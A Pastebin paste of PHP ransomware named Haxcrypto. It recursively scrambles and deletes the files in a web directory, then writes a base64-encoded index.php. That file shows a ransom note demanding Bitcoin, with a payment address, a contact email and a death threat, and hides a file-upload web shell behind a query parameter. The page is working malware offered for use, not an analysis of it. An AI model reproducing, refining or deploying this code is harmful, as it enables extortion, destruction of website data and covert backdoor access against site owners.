Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- ini_set('memory_limit', '9999999999M');
- Class Haxcrypto{
- public $dir = '/dirtarget';
- public $action = 'descrypt'; // enscrypt or descrypt
- public $key = '!@#$%^&*()';
- protected function keys()
- {
- $keys = $this->key;
- return $keys;
- }
- public function action($a,$b)
- {
- if($this->action == "enscrypt")
- {
- return $this->enscrypt($a,$b);
- }
- elseif($this->action == "descrypt")
- {
- return $this->descrypt($a,$b);
- }
- else
- {
- die('make sure action enscrypt or descrypt');
- }
- }
- public function enscrypt($file,$key)
- {
- if($key == null) die('please input key');
- $into = pathinfo($file);
- if(isset($into['extension']))
- {
- if($into['extension'] !== "jpg" && $into['extension'] !== "gif" && $into['extension'] !== "png" && $into['extension'] !== "csv" && $into['extension'] !== "haxcrypto" && !preg_match("/Haxcrypto/",$file) && $into['extension'] !== "tgz" && $into['extension'] !== "zip" && $into['extension'] !== "rar" && $into['extension'] !== "log" && $into['extension'] !== "sql")
- {
- $enscrypt = array();
- $getcontents = file_get_contents("$file");
- $splitisi = str_split($getcontents);
- $x = 1;
- for($i = 0; $i<count($splitisi); $i++)
- {
- $enscrypt[] = chr(ord($splitisi[$i]) + $x++);
- }
- $encode = base64_encode(base64_encode(implode("",$enscrypt).md5($key)));
- $info = pathinfo($file);
- $fp = fopen($file.".haxcrypto", 'a+');
- fwrite($fp, $encode);
- fclose($fp);
- @unlink($file);
- if(file_exists($file.".haxcrypto"))
- {
- echo "enscrypt : $file , Path : ".$file.".haxcrypto"." << SUCCESS\n";
- }
- }
- }
- }
- public function descrypt($file,$keys)
- {
- $into = pathinfo($file);
- if($keys == null) die('please input key');
- if(isset($into['extension']))
- {
- if($into['extension'] == "haxcrypto" && !preg_match("/Haxcrypto/",$file))
- {
- $key = md5($keys);
- $descrypt = array();
- $getcontents = file_get_contents($file);
- $base64 = base64_decode(base64_decode($getcontents));
- $pisah = str_replace($key, "", $base64);
- if($base64 == $pisah)
- {
- die("Key Tidak Valid");
- }
- $splitisi = str_split($pisah);
- $x = 1;
- for($i = 0; $i<count($splitisi); $i++)
- {
- $descrypt[] = chr(ord($splitisi[$i]) - $x++);
- }
- $encode = implode("",$descrypt);
- $realname = str_replace(".haxcrypto","",$file);
- $fp = fopen($realname, 'a+');
- fwrite($fp, $encode);
- fclose($fp);
- @unlink($file);
- if(file_exists($realname))
- {
- echo "descrypt : $file Path : ".$realname."<< SUCCESS\n";
- }
- }
- }
- }
- public function CreateIndex()
- {
- $script = "PCFET0NUWVBFIGh0bWw+DQo8aHRtbD4NCjxoZWFkPg0KPD9waHANCmlmKGlzc2V0KCRfR0VUWyJoYXgiXSkpDQp7DQoJZWNobyBiYXNlNjRfZGVjb2RlKCJVR0ZySUVoaGVHOXkiKTsNCgllY2hvICI8YnI+Ii5waHBfdW5hbWUoKS4iPGJyPiI7DQoJZWNobyAiPGZvcm0gbWV0aG9kPSdwb3N0JyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4NCgk8aW5wdXQgdHlwZT0nZmlsZScgbmFtZT0naWR4Jz48aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSd1cGxvYWQnIHZhbHVlPSd1cGxvYWQnPg0KCTwvZm9ybT4iOw0KCWlmKGlzc2V0KCRfUE9TVFsndXBsb2FkJ10pKSB7DQoJCWlmKEBjb3B5KCRfRklMRVNbJ2lkeCddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydpZHgnXVsnbmFtZSddKSkgew0KCQllY2hvICJzdWtzZXMiOw0KCQl9IGVsc2Ugew0KCQllY2hvICJnYWdhbCI7DQoJCX0NCgl9DQp9DQo/Pg0KCTx0aXRsZT5IYXhjcnlwdG8gQnkgUGFraGF4b3I8L3RpdGxlPg0KCTxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQoJYm9keXsNCgkJY29sb3I6ICMzRUY0MDM7DQoJCWJhY2tncm91bmQtY29sb3I6IGJsYWNrOw0KCX0NCglpbnB1dCB7DQogICAgYm9yZGVyOiBkYXNoZWQgMXB4Ow0KICAgIGJvcmRlci1jb2xvcjogIzMzMzsNCiAgICBCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCiAgICBmb250OiA4cHQgVmVyZGFuYTsNCiAgICBjb2xvcjogIzBDRkYzNzsNCgl9DQoJPC9zdHlsZT4NCjwvaGVhZD4NCjxtZXRhIGNoYXJzZXQ9IklTTy04ODU5LTEiPiANCjxib2R5Pg0KPHByZSBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyI+DQo8Zm9udCBzaXplPSIxMyIgY29sb3I9IndoaXRlIj5IQVhDUllQVE8oWU9VUiBXRUJTSVRFIEhBUyBCRUVEIExPQ0tFRCk8L2ZvbnQ+DQo8Zm9udCBjb2xvcj0icmVkIj4NCjxpbWcgc3JjPSJodHRwOi8vY2RuLm15c2l0ZW15d2F5LmNvbS9ldGMtbXlzaXRlbXl3YXkvaWNvbnMvbGVnYWN5LXByZXZpZXdzL2ljb25zL2dsb3dpbmctZ3JlZW4tbmVvbi1pY29ucy1idXNpbmVzcy8xMTExODItZ2xvd2luZy1ncmVlbi1uZW9uLWljb24tYnVzaW5lc3MtbG9jazYtc2M0OC5wbmciPg0KWW91ciBXZWJzaXRlIEhhcyBiZWVuIExvY2tlZCANClBsZWFzZSBnaXZlIG1lIEJUQzwvZm9udD4NCjxmb250IGNvbG9yPSJ3aGl0ZSI+TXkgQWRkcmVzcyBCVEMgOiAxRkJzVVMyQUthZlpVS0JDNm5YU0oySHNTTFhNS2gxaWFUKDIwMCQpIDpEIA0KSWYgeW91IGRvbid0IGtub3cgYWJvdXQgQlRDIGdvaW5nIHRvIHRoaXMgdXJsIDogaHR0cHM6Ly9ibG9nLmJsb2NrY2hhaW4uY29tL2NhdGVnb3J5L3R1dG9yaWFscy1hbmQtZ3VpZGVzLzwvZm9udD4gIA0KPGJyPg0KPGZvbnQgY29sb3I9InJlZCI+Li1bIENvbnRhY3QgTWUgYXJkaWFuc3lhaDA5OTk2QGdtYWlsLmNvbSAoPC9mb250Pjxmb250IGNvbG9yPSJ3aGl0ZSI+UGFrIEhheG9yPC9mb250Pjxmb250IGNvbG9yPSJyZWQiPikgXS0uPC9mb250Pg0KPGZvbnQgY29sb3I9IndoaXRlIj4uLVsgZG8gbm90IGRlbGV0ZSB0aGlzIGZpbGUgb3Igd2Vic2l0ZSB5b3Ugd2lsbCBiZSBraWxsZWQgOikpIF0tLjwvZm9udD4NCjwvZm9udD4NCjwvcHJlPg==";
- $fp = fopen($this->dir."/index.php", 'a+');
- fwrite($fp, base64_decode($script));
- fclose($fp);
- echo "SUCCESS";
- }
- public function directori($shcdirs,$key=null)
- {
- foreach(@scandir($shcdirs) as $shc)
- {
- if($shc!='.' && $shc!='..')
- {
- $shc = $shcdirs.DIRECTORY_SEPARATOR.$shc;
- if( !is_dir($shc) ){
- $this->action($shc,$this->keys());
- }else{
- $this->directori($shc);
- }
- }
- }
- }
- }
- $haxcrypto = new Haxcrypto();
- $haxcrypto->directori($haxcrypto->dir);
- $haxcrypto->CreateIndex();
- /*@unlink('Haxcrypto.php');*/
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement